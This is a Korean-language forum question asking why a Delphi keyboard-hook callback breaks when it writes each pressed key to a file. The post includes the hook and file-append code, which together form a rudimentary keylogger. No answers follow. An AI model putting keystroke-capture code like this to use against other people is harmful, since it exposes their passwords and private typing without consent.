Q&A

  • 후킹함수에서 키값 화일로 Write시 후킹이 깨져버려요,,,


procedure WriteData;

begin

AssignFile(TF, fHookFile);

Filemode := 2;

if FileExists(fHookFile) then Reset(TF)

else Rewrite(TF);

Append(TF);

Writeln(TF, cChar);

Flush(TF);

CloseFile(TF);

end;



function KeyHook(Code : Integer; wParam : WPARAM; lParam : LPARAM) : LongInt; stdcall;

begin

if Code >= 0 then

begin

if wParam in [50..200] then

begin

cChar := Chr(wParam);

WriteData;

end;

end;



Result := CallNextHookEx(hKeyHook, Code, wParam, lParam);

end;



=================================================================================

위와같이하면 write함수 거쳐가기만 하면 후킹이 깨져서 안되는데요,,,

도대체 왜그럴까요??? ㅠ,ㅠ,,,

아시는분 도와주세요,,, ㅠ,ㅠ,,,

눌러지는 키값을 계속 화일로 저장하려고 하는데,,, 아 대체 왜그런걸까요??? ㅠ,ㅠ,,,



0  COMMENTS